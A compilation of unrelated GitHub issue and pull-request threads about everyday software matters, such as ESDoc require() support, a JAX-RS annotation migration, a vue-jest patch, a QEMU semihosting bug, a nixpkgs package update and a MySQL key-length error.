You can't complain when there are easy to use and standard solutions to solve ES6 NPM module publishing. To "be frank" it is "absurd" to refuse to use the appropriate tools or continue to be adamant in mixing CJS w/ ES6 and complain when things like ESDoc don't work.

I would like to use this tool, but would rather not have to add babel as a dependency of my project. There are reasons why I do not want to use babel, such as debuggability and cognitive overhead. On top of that, if node 6 supports the style of es6 that I am writing, I have very little incentive to want to bring in a heavy transpiler just to unlock the ability to use a specific documentation tool on my code.
It would be really nice if support for require() were considered.

I'm having difficulty with this too.
I'm working on modern Node modules that use native ES6 support in Node 6+ (which is now the long-term-support version of Node encouraged for all Node developers to use: https://nodejs.org).
I don't want the added overhead and complexity of Babel just for documentation. I would like to use ESDoc, but for now it doesn't seem to be an option for me because it doesn't understand require() and module.exports.
I'd be happy to write more annotations in my ESDoc comments to give it the hints it needs to document my code, but this doesn't seem to be possible right now. For comparison, JSDoc has tags like @class and @function. JSDoc doesn't actually support most ES6 syntax yet, but I am able to make it work well enough by using these tags to explicitly document syntax structures it does not understand.
TL;DR - JSDoc currently works better for my native Node 6 / ES6 code, so I'll keep using that for now. However, I am interested in ESDoc and I'll reevaluate it periodically.

Sorry for late reply.
I don't have plan to support require/module.exports. However you can use esdoc-node that is third party plugin for it. And you may solves your problems.


JAX-RS: migrate DefaultValue annotation on request parameters

What needs to be done
Migrate javax.ws.rs.DefaultValue annotation on request parameters to the defaultValue attribute of org.springframework.web.bind.annotation.RequestParam
Why it needs to be done
javax.ws.rs.DefaultValue is one of the JAX-RS annotations that needs to be migrated to Spring Web. The annotation can be applied to a couple of request annotations like QueryParam, FormParam, PathParam, ... but let's start with QueryParam.
Acceptance Criteria
After applying the recipe, the RequestParam annotation has a defaultValue attribute with the same value as the javax.ws.rs.DefaultValue annotation and the javax.ws.rs.DefaultValue annotation is removed.
Given a method parameter annotated with both javax.ws.rs.DefaultValue and javax.ws.rs.QueryParam annotations
When the recipe MigrateJaxRsRecipe is applied
Then the method parameter is annotated with a org.springframework.web.bind.annotation.RequestParam having an defaultValue attribute with the same value as the javax.ws.rs.DefaultValue annotation
Additional Information
An example:
public String getAllPersons(@DefaultValue("0") @QueryParam("page") int page)
should be migrated to
public String getAllPersons(@RequestParam(required = false, value = "page", defaultValue="0") int page)

Thanks for adding this @bottemav
It's a long way to fully migrate JAX-RS to Boot...
would you like to look into it and contribute something as another step in this direction?

@fabapp2 Sure, I'd love to.
I think I will create a new Recipe for this
MoveAnnotationAttribute (
   String sourceAnnotation,
   String sourceAnnotationAttribute,
   String targetAnnotation,
   String targetAnnotationAttribute,
   boolean removeSourceAnnotation
)

For this ticket it will be used this way:
MoveAnnotationAttribute (
   "javax.ws.rs.DefaultValue", "value", "org.springframework.web.bind.annotation.RequestParam", "defaultValue", true
);

I'm still in doubt whether removing the source annotation is part of the recipe or not.

HI @bottemav
I like the idea of implementing a generic recipe.
IMHO it should be an isolated step and not combined with deleting the recipe.
Mainly because I could imagine a composition of these recipes where multiple annotation attributes need to be moved and then you wouldn't want to delete the annotation straight away but do it in a separate step.
A quick check made me realize a DeleteAnnotaion does not exist.
I am more than open to discussing in case you have a different opinion.
I will assign this issue to you. Thanks for contributing 🚀

@bottemav if you like you can join our Slack for faster/easier communication.


chore(release): v0.11.3 🎉

:robot: I have created a release beep boop
0.11.3 (2023-08-05)
Bug Fixes

relationships: ensure that plural for of names is considered explicit reference (21c2f80)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/ehmpathy/domain-objects/releases/tag/v0.11.3 :sunflower:


"Vadu Pașii" is listed in the drop-down menu

Description:
"Vadu Pașii" is listed in the drop-down menu alongside its corresponding county and commune, according to the law
Precondition:
The website is up an running.

Step 1
Type "Vadu Pașii" in the search bar.

Expected results
The location is listed in the drop-down menu as "Comuna Vadu Pașii, BUZĂU".


where are the "/TEST" css files?

There are only SVGs on the project's /TEST folder and no CSS files.

Hi @yairEO,
sorry, but I have no idea what you are talking about?! For what do you need CSS files in the test folder? Please explain in more detail what you are missing.
Please bear in mind, that this package is just a wrapper around svg-sprite. Some more heavy-lifting tests are done there already.
Cheers,
Joschi

Well, the README says:

In this very basic example, mostly default settings will be applied to create a traditional CSS sprite (bundle of SVG sprite and CSS stylesheet).

also it says it can output SASS file. so, IMHO, the test folder should include the generated CSS and SASS files so one could actually test so see if the positions in those actually match the generated SVG..what's the point in a TEST folder if you don't test the CSS output and if it's actually working  and rendered correctly? Also it is interesting for developers to see a tested CSS/SCSS output file before they will even consider using the code.

@yairEO As you might know, the test folder contains some basic tests to verify the libraries integrity. This isn't something regular developers would want to use. The library can produce Sass files, but this is not a question of the included tests. It sounds to me that you misinterpret the included tests somehow. Also, as I said before, the heavy-lifting tests (like visual comparison of generated CSS files) are included in svg-sprite, not in the gulp wrapper. The tests here only verify the Gulp wrapper functionality.

but a huge part of that functionality is the creation of a matching CSS rules to accompany the SVG wouldn't you say? so how do you actually test this? you just visually see that the svg sprite files are created and that's it?

Once again: As a user of (grunt/gulp-)svg-sprite*, you are throwing in your own SVG files, and individual stylesheets are rendered. How could svg-sprite come with inbuilt tests for that? The test folder is for development puposes only (with me being the only developer). Thus, there's nothing you'd have to worry about. There are no tests for users. In fact, you shouldn't even get the test folder when installing via npm AFAIK.

yeah but I want to know how the CSS/SCSS look like before I'm gonna install anything. I know the test folder isn't getting installed and it's just for you as a developer, that is obvious :)

There is no way to know how it looks like unless you install and use it.

but you have the /expected folder with the final SVG files. Each one has it's only CSS file which describes the SVG spread and positions, and all I'm saying is that you could include those CSS files to correlates with the SVG files, because one is meaningless without the other for, (maybe not for you but sitll..)

It doesn't make any sense to make a 1:1 comparison of CSS files, as the plain CSS file, the Sass one, the LESS one and the Stylus one are completely different. Each renderer produces a different output (which might change from version to version of each of these tools). Instead, svg-sprite takes a visual approach and compares rendered HTML pages with the sprite against reference images. So there's no direct CSS comparison.

well, i'm used to seeing how all the output will be like before I even try to install anything, just to be on the safe side. for example, many projects do show the CSS on their test folder, or write how it would look like in the README, like this project

I got your point. However, as I said, svg-sprite (and its wrappers) doesn't offer this at the moment and I tend not to offer it due to maintainability reasons and very little demand (in fact, you're the only one who has ever asked for). Pleas install the module an run the tests to find out.


Live

Learn Build status updates of commit 5c296b1:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error: CannotMergeCommit] Cannot merge commit 5c296b136ac4b2a87eed79c498e0dd379c38d6f8 in branch live of repository https://github.com/HanqingZheng-ms/redirect-url into branch main (commit efb88760fb8e3e453240c4621d5c124a190047b7). Please follow this documentation: https://help.github.com/articles/resolving-a-merge-conflict-using-the-command-line/ to use git.exe to resolve you content conflicts locally and then push to remote.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Learn Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel


Add a return after the assert

📲 What
In our beta build (and probably release build, though I didn't check), having an assert inside a guard block with no other return causes the build to not compile. I'm not 100% sure, but I think the assert gets optimized out or at least doesn't crash the binary in these cases.
✅ Acceptance criteria

[x] Our project builds!

@ifosli yeah, I believe asserts are stripped as part of our build settings:


Documentation references non existing file: llext/shell_loader/README.rst

Describe the bug
https://github.com/zephyrproject-rtos/zephyr/blob/main/samples/subsys/llext/shell_loader/README.rst references to a file tests/subsys/llext/hello_world/hello_world.c, which is not existent anymore. Possibly it is now samples/subsys/llext/modules/src/hello_world_ext.c .
To Reproduce
Impact
LLEXT shell loader sample cannot be used.
Logs and console output
N/A
Environment (please complete the following information):
N/A
Additional context
N/A

Thanks for reporting, I am working on this


Fix typo in MAINTAINERS

s/substantivly/substantially/

Author LGTM

LGTM

Thanks @duglin! Windows Janky is sad, ignoring :)


Updates kotlin plugin and fabric tools version

@RocketChat/android
Closes https://github.com/RocketChat/Rocket.Chat.Android/issues/882

Thank you @aniketsingh03!


An import path cannot end with a '.ts' extension. Failed to load src: "./script"

Issue:
The solution presented for the issue #6 causes vue-jest to crash. It cannot resolve the .ts extension on referenced scripts, and to be fair, it probably shouldn't.
Personally, I feel like referencing ./script instead of ./script.ts is inconsistent with the other references in the code. Any chance we can implement the path resolution in vue-tsc instead?

Sorry but if we remove .ts from the path, we even can't not have component type-checking in <template>, because TS language service can't recognized *.ts.

I understand that, however it's not an elegant solution. Couldn't we programatically discard/remove the .ts extension if it's there, before proceeding with the type checking? I can look into that, if you'd accept it as a solution.

Couldn't we programatically discard/remove the .ts extension if it's there, before proceeding with the type checking?

Yes that is easy, let me think about it and ask to community.

My current workaround for now is to patch-package vue-jest with:
diff --git a/node_modules/vue-jest/lib/process.js b/node_modules/vue-jest/lib/process.js
index 936b5e5..9f1fab5 100644
--- a/node_modules/vue-jest/lib/process.js
+++ b/node_modules/vue-jest/lib/process.js
@@ -36,6 +36,9 @@ module.exports = function (src, filePath, jestConfig) {
   var parts = vueCompiler.parseComponent(src, { pad: true })

   if (parts.script && parts.script.src) {
+    if (parts.script.lang === 'ts' && !parts.script.src.endsWith('.ts')) {
+      parts.script.src += '.ts'
+    }
     parts.script.content = fs.readFileSync(join(filePath, '..', parts.script.src), 'utf8')
   }

https://github.com/vuejs/vue-jest/blob/45d0c251f9d245f5c95fa1646182a14f08c63f25/lib/process.js#L38-L40
@eddyerburgh is it possible to patch this in as a v3.0.8 release? So the Vue 2 + (Vite)/(webpack v4 + vue-cli v4) migration eco-system can benefit a little bit from this?

Some communication with Vue author, we will ignore the .ts, .d.ts, .tsx extensions.


regarding building openthread in native pc

Hi all,
I am new to thread, i wanted to test CLI application on my linux PC, for that i have followed README in CLI folder, where after "make -f examples/Makefile-posix" command, it is saying build for node1, node2, for which a posix folder should be generated in above command i am unable to view this folder. Can any one help me in this regard and is it possible to test in native PC if so please guide me.
Thanks,
Praveen Kumar k

@Praveen-Kumar-K, the README file is out-of-date.  Thanks for the notice - I'll submit an update to the README.  After a successful build, you should see a new openthread/output directory and the executables in openthread/output/<platform>/bin

hi @jwhui , I think it might not only about the doc.
Under my environment(4.2.0-38-generic #45~14.04.1-Ubuntu), I have to use sudo before 'make -f examples/Makefile-cc2538' or 'make -f examples/Makefile-posix' or else there would be 'Permission denied' issue; and the binaries would be in the absolute path '/output/bin/arm-none-eabi-ot-cli' and '/output/x86_64-unknown-linux-gnu/bin/ot-cli' respectively.
` make -f examples/Makefile-cc2538
BUILD    cortex-m3-arm-none-eabi
make -C build/cortex-m3-arm-none-eabi --no-print-directory all
CHECK    .local-version
/bin/sh: .local-version.N: Permission denied
make[1]: *** [.local-version] Error 1
make: *** [do-build-cortex-m3] Error 2
make -f examples/Makefile-posix
BUILD    x86_64-unknown-linux-gnu
make -C build/x86_64-unknown-linux-gnu --no-print-directory all
CHECK    .local-version
/bin/sh: .local-version.N: Permission denied
make[1]: *** [.local-version] Error 1
make: *** [do-build-x86_64-unknown-linux-gnu] Error 2
`


Fix for issue #321

Problem described in the issue could be reproduced only when compiled with optimizations enabled (this also requires disabled pdb file) on the Roslyn compiler. Test infrastructure was extended to allow specifying optimization and debug type in the test. Additionally, a new check was introduced in the rewriter that makes sure all contract methods were rewritten for cases where there is no oob contracts in use (issue #336).
Test results before fix
Test results after fix

LGTM

Squashed multiple commits into one.


Way to input a custom text to @link

I've been using the @link tag all over my documentation, however the most common issue about that tag is when there is a pluralization case in the documentation where currently there is no way to specify a custom text for the link. In order to workaround this limitation it would be nice to have a way to define an optional display text for the link, for instance: {@link Foo DisplayText}

Thanks for this proposal. I will consider it.

I does not support to anchor text for @link. However I will support anchor text for @see in next version. Please check https://github.com/esdoc/esdoc/issues/367


SUP-16226: Null check the value on put to the content package

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Serhii Plyhun seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Updated to use bevy master

Hi, I was updating my own project to run Bevy on the master branch because I wanted access to some features without having to wait for a release, if there's a better way of doing this let me know 😄
I doublechecked that the code compiles and there are no new compiler warnings, but it's possible I've missed a finer point

Hey @Sheepyhead, Kurinji master points to numbered releases to offer better support and reduce the upkeep. The bevy master branch tends to change a lot and is fairly unstable. I feel it is better to wait for a stable bevy release (i.e. once all the api's are finalised) to avoid the extra effort.

I would love to see the other changes if they make into the next bevy release.
Closing PR


indigo: followsAddCmd return XRPC ERROR 400: 400 Bad Request

hrm... works for me, but might have been the lexicon update in #119

I confirmed fixed.


TF dataset padded_batch: support for batching non-padable component

Currenttf.data.datasetclass only support padded_batch method which would pad every component into same shape, but there are cases that some component may not be padable, e.g., in object detection input pipeline, the ground truth calsses and bounding boxes are different for different image, so they can not be padded to the same shape as images, so how to batch these data in this case?

Thank you for your post. We noticed you have not filled out the following field in the issue template. Could you update them if they are relevant in your case, or leave them as N/A? Thanks.
Have I written custom code
OS Platform and Distribution
TensorFlow installed from
TensorFlow version
Bazel version
CUDA/cuDNN version
GPU model and memory
Exact command to reproduce

Seems like this is a duplicate of #19710, so closing this. Feel free to reopen if I'm mistaken.

Hi! it is not a duplicate, internal TF dataset API do not have a good support for batching things for object detection model, e.g., different image can be resized/padded into same shape, but may have different number of groundtruth boxes, in object detection API, they batch padded groundtruth boxes tensors, and manually recover them latter, so the question is better implementation in the batching stage with tf.data.dataset may bring more efficiency.

Indeed, sorry, I only made a cursory read.
That said though, could you elaborate on what you'd like the behavior to be? Are you suggesting that the "batches" contain tensors of irregular shapes?

Yes, I that may be a bit irregular for tensors and not implementable, but can we add feature to batch tensors into list of different length tensors, so the job can be down, without post recovering of the shapes

Can you use group_by_window to bin the different length tensors?

It has been 14 days with no activity and the awaiting response label was assigned. Is this still an issue?

no, group_by_window can be used to batch similar shaped tensors, like similar aspect ratio tensors, but the question is in object detection, we may first use group_by_window to group similar aspect ratio images, then we have to deal with batching ground truth boxes and cls labels, which has to be padded to same shape within the whole batch to form a tensor. Then we have to recover the actual shape of ground truth boxes and cls labels, so the question is in bathing stage, can we add this support instead of force pad to same shape.

@jsimsa @mrry may have some guidance here, such as suggestions on if and how someone could contribute to this feature.

Hi? I have the same question.  Is there any answer to this issue?

same question here

See https://github.com/tensorflow/community/pull/5/files?short_path=df3302a#diff-df3302ad45d4c94d919eefaefa059780.


Add command-line option for --state-dir for maelstrom-run

This would just include the log file for the client process.

I already fixed this this release. I forgot to close.


Add mono font

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

Current dependencies on/for this PR:

main

PR #50

PR #51   👈

PR #52

This stack of pull requests is managed by Graphite.

Merge activity

Dec 24, 1:35 AM: @@NathanFlurry started a stack merge that includes this pull request via Graphite.


Hotel service

Add hotel service

get data from generated hotel data
add filter for filtering by superchain, hotel name, hotel type and cost

Add lint test to travis
Add swagger docs for hotel service.
TODO: Add docker file and k8s configs.

@moficodes Are the hotel images not local for v1?

@moficodes Should also add a README


Drop HTTP parsing

Get rid of httparse and instead look into implementing a lighter/simpler application level communications protocol as I really don't need most of what HTTP offers.
Approach here worth considering: RESP (Redis Serialization Protocol)

Also OrientDB has an interesting binary protocol


Fix typo

.Net -> .NET

@changeworld : Thanks for your contribution! The author, @jeffgilb, has been notified to review your proposed change.


Documentation for HTTPS configuration

Hi,
Is there any sample codes/manual guide that show how to configure HTTPS using okhttp library.
If not, possible to include one?

HTTPS client specs etc - https://square.github.io/okhttp/features/https/
HTTPS certificate selection - https://github.com/square/okhttp/tree/master/okhttp-tls
But for more specifics, consider asking on a forum like stackoverflow.  A lot of specific details are more JDK and environment related, and we can't offer direct help with your setup.
I hope the docs help you.


reportMissingImports

i have install python library pyautogui successfully but whenever i open or create my file and use pyautogui library but it always show's me missing library "reportMissingImports".
i have latest version of python and pip.
So please guide me i have faced this problem always in python.

contact email :-<EMAIL_ADDRESS>

Thanks for the report. Would you please check if the right virtual environment is being used?
The way to do that would be to:

If you have not selected a virtual environment, the status bar will show the global python interpreter.
Click on version number and choose the right environment from the command palette
If there is no environment offered, you will need to create an environment and then select that as the default environment
When you select the right virtual environment Pylance find the modules installed in that environment.

Here is a link to virtual environments: https://code.visualstudio.com/docs/python/environments
Please reopen this issue if this does not solve the problem.


Test Request: Kong Gateway EE version <IP_ADDRESS>-rc.6

What component needs testing with KIC?
Kong Gateway EE
Container image
kong/kong-gateway-dev:<IP_ADDRESS>-rc.6
Additional information
No response

closing in favor of https://github.com/Kong/kubernetes-ingress-controller/issues/5586


Adding instructions for consuming webhooks

Coverage: 93.988%. Remained the same when pulling 1874f4164022463f5b16d8c425b97eb4576b8286 on reshma-webhook into 4cc87ea54575888201abb69e22189e1ffcb177c5 on main.


New package: InverseLangevinApproximations v0.1.0

Registering package: InverseLangevinApproximations
Repository: https://github.com/TRACER-LULab/InverseLangevinApproximations.jl
Created by: @cfarm6
Version: v0.1.0
Commit: d498422ab2be10de625b7ce81ac70210a0f1bfe7
Reviewed by: @cfarm6
Reference: https://github.com/TRACER-LULab/InverseLangevinApproximations.jl/issues/1#issuecomment-1759770885
Description: Inverse Langevin Function Approximations

Could you add a link to your documentation and a small usage example to your README.md?

@lgoettgens Done. Let me know if there are any other issues with the package.

Thanks! [noblock]
You should add a "[noblock]" to your comment as well, to not block automerge


python310Packages.casbin: 1.17.5 -> 1.17.6

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.casbin is: Authorization library that supports access control models like ACL, RBAC and ABAC
meta.homepage for python310Packages.casbin is: https://github.com/casbin/pycasbin
meta.changelog for python310Packages.casbin is: https://github.com/casbin/pycasbin/blob/v1.17.6/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 1.17.6 with grep in /nix/store/b48k5gf72sn9lff9p7d7yavam2q3d1sf-python3.10-casbin-1.17.6
found 1.17.6 in filename of file in /nix/store/b48k5gf72sn9lff9p7d7yavam2q3d1sf-python3.10-casbin-1.17.6

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath
python310Packages.casbin
python311Packages.casbin

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/b48k5gf72sn9lff9p7d7yavam2q3d1sf-python3.10-casbin-1.17.6 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.casbin https://github.com/r-ryantm/nixpkgs/archive/19ccc514a1c9775459555a1c7ceadf3ce5f87b79.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/b48k5gf72sn9lff9p7d7yavam2q3d1sf-python3.10-casbin-1.17.6
ls -la /nix/store/b48k5gf72sn9lff9p7d7yavam2q3d1sf-python3.10-casbin-1.17.6/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

2 packages built:

python310Packages.casbin
python311Packages.casbin

Maintainer pings
cc @costrouc for testing.

Changes: https://github.com/casbin/pycasbin/compare/v1.17.5...v1.17.6
only a typo fix.


Alexa Pi fails on startup

Thank you for reporting an issue with AlexaPi.
Make sure you are running the latest version of AlexaPi, and look through issues before submitting.
Check out our Wiki, and make sure to look at Debugging, and Audio debugging in particular before filing an issue.
In order to help troubleshooting, be sure to include the following information:
Output of the audio debugging script.
Your OS (including version) where you are running AlexaPi:
Raspbian
Your hardware platform and model you are running on:
Pi 3

**Python release (`python2 --version`):**
pi@raspberrypi:~ $ sudo systemctl status AlexaPi.service
● AlexaPi.service - Alexa client for all your devices
   Loaded: loaded (/usr/lib/systemd/system/AlexaPi.service; enabled)
   Active: failed (Result: exit-code) since Sun 2017-06-25 23:58:00 UTC; 19min ago
     Docs: https://github.com/alexa-pi/AlexaPi/wiki
  Process: 607 ExecStart=/usr/bin/python /opt/AlexaPi/src/main.py --daemon (code=exited, status=1/FAILURE)
 Main PID: 607 (code=exited, status=1/FAILURE)

Jun 25 23:58:00 raspberrypi python[607]: surround71:CARD=system,DEV=0
Jun 25 23:58:00 raspberrypi python[607]: iec958:CARD=system,DEV=0
Jun 25 23:58:00 raspberrypi python[607]: dmix:CARD=system,DEV=0
Jun 25 23:58:00 raspberrypi python[607]: dsnoop:CARD=system,DEV=0
Jun 25 23:58:00 raspberrypi python[607]: hw:CARD=system,DEV=0
Jun 25 23:58:00 raspberrypi python[607]: plughw:CARD=system,DEV=0
Jun 25 23:58:00 raspberrypi systemd[1]: AlexaPi.service: main process exited, code=exited, status=1/FAILURE
Jun 25 23:58:00 raspberrypi systemd[1]: Unit AlexaPi.service entered failed state.
Jun 26 00:15:30 raspberrypi systemd[1]: Stopped Alexa client for all your devices.
Jun 26 00:17:10 raspberrypi systemd[1]: Stopped Alexa client for all your devices.

Description of problem:

Expected:

Problem-relevant config.yaml entries:

Steps to reproduce:

Traceback (if applicable):

Additional info:

Misconfigured audio, read logs and stuff.
Closing due to inactivity. Feel free to reopen.


CV from the About widget in multilanguages

Hi,
First, thank you a lot for this academic theme!
When you want to add your CV from the About widget in a non-default language, if you write link = "files/cv_fr.pdf" inside your [[languages.fr.params.social]] (let us say that French is the second language) then it tries to take the file cv_fr.pdf inside /static/fr/files and not /static/files. Thus, I just created a file “fr” inside the “static” file and it worked, but I am not sure this is the intended behaviour?
Regards.

This is how Hugo team designed the language feature. If you wish to have both files in the same folder, you could try specifying the path in the French version like ../../files/cv_fr.pdf, perhaps it might work. Otherwise, the HTML template can modified to try to override Hugo's behaviour.

Ok then. Thank you for your quick answer!


Issue: node being dragged always under passing nodes, should be above.

First off I want to thank you for this great app. I am trying to avoid jQuery at all cost and this saved the day for me. In my case I turned your treeview into a nested list.
My only issue is the drag over. The node being dragged is always under the passing nodes when it should be above.
I tried everything, eg, z-index, position, etc.
What would anyone recommend?

Figured it out.
.m-draggable {
................
z-index: 10;
................
}


Replacing parsed text upon identification.

I am trying to implement a string parser (with escape characters) and my goal is to replace the escaped characters as to get a perfect representation of what the user is trying to represent. My issue with have it skip over is that I don't know how to make it detect the end of a string. My current code is:
final case class StringLiteral(value: String)

private[this] val stringLexer       : P[StringLiteral] = {
    ((dquote ~ dquote) | (dquote ~ vchar.rep ~ dquote)).string
	.map(value => StringLiteral(value))
}

But this will only stop when it detects a non-printable character.
Can you replace a sequence of characters once it is recognized?
Any help would be greatly appreciated. Also, is there any documentation I'm missing?

I should clarify I mean parsing strings like: "weiuhf\nj"\\"k"

Sorry I missed this. I don't understand your question. You can make a parser of a Char, then map each Char then use repAs so make a String.
If you mean how do you deal with parsing escape sequences, here is an example:
https://github.com/typelevel/cats-parse/blob/f3f7686269fa2e23eaee1248db8b380c5fcbfa50/bench/src/main/scala/cats/parse/bench/self.scala#L130
it's a bit complex... we could possibly include a utility to parse some common encodings (java, json, python, etc...)

Yes, this is interesting but on the other hand it might be much easier for a programmer to just do some preprocessing on the file and parse that. It should be easier in this context (and faster) than encoding it in cats-parse.


Q: How can I link it as a shared library

Hi,
could you please explain  how I can link raylib-zig as a shared library.
I need this because I split my game into a shared library and an executable,
and I want to use raylib-zig in both the executable and the shared library.
Thank you very much for the awesome bindings!

Pass shared as a build option to the rlz fragment:
.{
    .target = target,
    .optimize = optimize,
    .shared = true,
}


CircleCI - use up to date testing environment

Current testing environment pulls Docker images from StackStorm/st2box.
These are out of date.
The tests should use Docker images matching the current branch under test.

Closed in #116.


Remove whitespace from macros

Remove whitespace from macros
A lot of the macros produce lists of classes or other attributes with too much whitespace. Using %- 0r -% on the opening and closing tags of nunjucks markup and changing the if statements around classes will allow us to remove this

Work required outweighs benefits


Fail to run demos while using QEMU 4.2.1

Describe the bug
The shell demo freezes at the beginning and fails to run. Other demos finish without any output.
Configuration:

cmake version (cmake --version)

cmake version 3.16.3

toolchain/compiler version (gcc --version, for example)

arm-none-eabi-gcc (GNU Arm Embedded Toolchain 9-2020-q2-update) 9.3.1 20200408 (release)

aarch64-none-elf-gcc (GNU Toolchain for the A-profile Architecture 9.2-2019.12 (arm-9.10)) 9.2.1 20191025

QEMU version (qemu-system-arm --version)

QEMU emulator version 4.2.1 (Debian 1:4.2-3ubuntu6.8)

To Reproduce:

cmake configuration

-- BUILD_PLATFORM is arm
-- OPT_LEVEL is -O0
-- SANITIZERS are ON
-- LTO is OFF
-- COVERAGE is
-- STACK_SIZE is 2KB
-- ccache is enabled
-- Configuring done
-- Generating done
-- Build files have been written to: /home/oscar/ARMMultiTasking

make command

make

run command

make run_shell

Expected behavior
The demos will print out some log messages or let us to type something.
Affected platforms/settings
It occurs on all platforms:

arm
thumb
aarch64

Additional context
I think that it is a problem when using QEMU 4.2.1, since it successfully runs on QEMU 5.1.0.
I use git checkout to some previous commit. It seems that the problem occurs after b089ef2.
I try to use gdb to locate the error, but it turns out the shell demo works properly when I execute the code one by one.
So I am not sure where the error is.

Yeah this is https://github.com/DavidSpickett/ARMMultiTasking/commit/b089ef2c6e926e4e50afd5143b13776581deb3c4 for sure. I've seen something like it on another architecture.
There is some logic in qemu/target/arm/arm-semi.c that means the guest cannot close QEMU's stdout if it tries to close the stdout that QEMU gave to it. However this came in pretty recently: https://git.qemu.org/?p=qemu.git;a=commit;h=16ab12a936ef96b25be7f5981c96548fa772f3df
When we check for a TTY we:

see if we can open stdout at all (this is a semihosting extension)
if so open it, ask if it's a TTY
then close it and carry on (this is where the issue happens)

If the linked patch is not present then we'll actually close QEMU's stdout (not just our stdout) so it can't print anything either. I think when you run the demo under debug there's some different path that keeps stdout open, I'm not too sure. Anyway that's not important.
QEMU 2.1 - Didn't implement the stdout semihosting extension at all (works)
QEMU 4.2.1 - Has the extension, with this issue (doesn't work)
QEMU 5.1.0 - Has the extension and the issue is fixed (works)
I think you can work around it by not closing stdout at the end of the sequence above, I haven't tested it myself. I think the serial port would still be able to print if we have stdout open.

I think you can work around it by not closing stdout at the end of the sequence above, I haven't tested it myself. I think the serial port would still be able to print if we have stdout open.

I have tested this on QEMU 4.2.1 and QEMU 5.1.0. It works fine and prints out the coloured text successfully.

Do we just need to remove the k_close function or we need another way to fix it?

Yeah remove https://github.com/DavidSpickett/ARMMultiTasking/blob/master/src/kernel/file.c#L53 and replace it with a comment stating what we're working around.

OK, I have created a PR to remove it.


Let's Workshop! - Introducing March's NEWEST MUDDLErs

There are many ways to MUDDLE, many of which don't take place on GitHub at all! Our latest MUDDLEr, Damien James @damien.james.art, is an Instagram artist living in the Chicago area. Check out his process and musings over in his Sandbox folder!


Update labels in doc

I changed the labels to have two bug-related labels: Major and Minor. This information should be updated in the certification docs... :)

@fcollot I may have did it by the way... :p

Like Han Solo said: I know.


BUG:No response

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
i had made changes for light mode and made a pr...she didnt accepted my pull request and made me work for her project for literally a week or so...she isnt responding now and i have wasted my time and hardwork...also i didnt get a pr in Leaderboard..what is this...i had wasted my time and didnt get pr accepeted and leaderboard uploaded...this is not fair...please address my issue and look forward in this case,.
Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

@mehrun171 I request you to kindly mention your PR number so that i can check the issue why the level tag is not added. Don't worry if your pr is merged you will surely get a level tag.

pr number 428
it didnt get uploaded in the leaderboard?

Ok thq
Mehrun Shamshi
On Thu, Jun 6, 2024, 19:44 Suchitra Sahoo @.***> wrote:

It is uploaded. Check properly
image.png (view on web)
https://github.com/Suchitra-Sahoo/AgriLearnNetwork/assets/123376847/0b1f1729-d603-4613-8bd9-08bd73e1db86
—
Reply to this email directly, view it on GitHub
https://github.com/Suchitra-Sahoo/AgriLearnNetwork/issues/650#issuecomment-2152651977,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A32T5T526CK56PCJ62DZUHTZGBVFFAVCNFSM6AAAAABIUK5TTKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNJSGY2TCOJXG4
.
You are receiving this because you were mentioned.Message ID:
@.***>


Remove unnecessary dependencies

This change is

Reviewed 1 of 2 files at r1, 1 of 1 files at r2.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable


InnoDB tables for MySQL

I need to migrate at InnoDB tables but I have this error
#1071 - Specified key was too long; max key length is 767 bytes
Is correct if I execute this script?
ALTER TABLE users	ALTERemailDROP DEFAULT, 	ALTERpasswordDROP DEFAULT; ALTER TABLEusers	CHANGE COLUMNemail emailVARCHAR(150) NOT NULL COLLATE 'utf8mb4_unicode_ci' AFTERid, 	CHANGE COLUMN password passwordVARCHAR(150) NOT NULL COLLATE 'latin1_general_cs' AFTERemail, 	CHANGE COLUMN username usernameVARCHAR(150) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci' AFTERpassword;
Thanks

